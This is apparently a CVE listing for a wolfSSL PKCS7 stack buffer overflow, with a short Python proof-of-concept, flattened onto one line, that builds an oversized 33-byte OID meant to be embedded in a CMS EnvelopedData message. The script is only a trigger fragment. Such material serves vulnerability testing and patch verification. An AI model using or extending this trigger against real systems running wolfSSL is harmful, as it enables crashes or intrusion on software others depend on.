CVE-2026-5295 wolfSSL PKCS7栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-5295 (wolfSSL Stack Buffer Overflow) This script demonstrates the creation of a malformed CMS EnvelopedData message with an OtherRecipientInfo containing a long OID (> 32 bytes) to trigger the overflow. """ import binascii def create_malformed_oid(): # Construct an ASN.1 Object Identifier with a length > 32 bytes (MAX_OID_SZ) # Tag: 0x06 (OID), Length: 0x21 (33 bytes) oid_tag = 0x06 oid_length = 0x21 # 33 bytes, exceeds MAX_OID_SZ (32) oid_payload = b'A' * 33 malformed_oid = bytes([oid_tag, oid_length]) + oid_payload return malformed_oid def generate_exploit_cms(): # This is a simplified representation of the crafted CMS structure. # In a real exploit, this would be wrapped in a valid CMS EnvelopedData # structure targeting the wc_PKCS7_DecryptOri parsing logic. exploit_data = create_malformed_oid() print(f"[+] Generated malformed OID length: {len(exploit_data)} bytes") print(f"[+] Hex data: {binascii.hexlify(exploit_data).decode()}") print("[+] Send this data within a CMS EnvelopedData OtherRecipientInfo structure.") return exploit_data if __name__ == "__main__": generate_exploit_cms()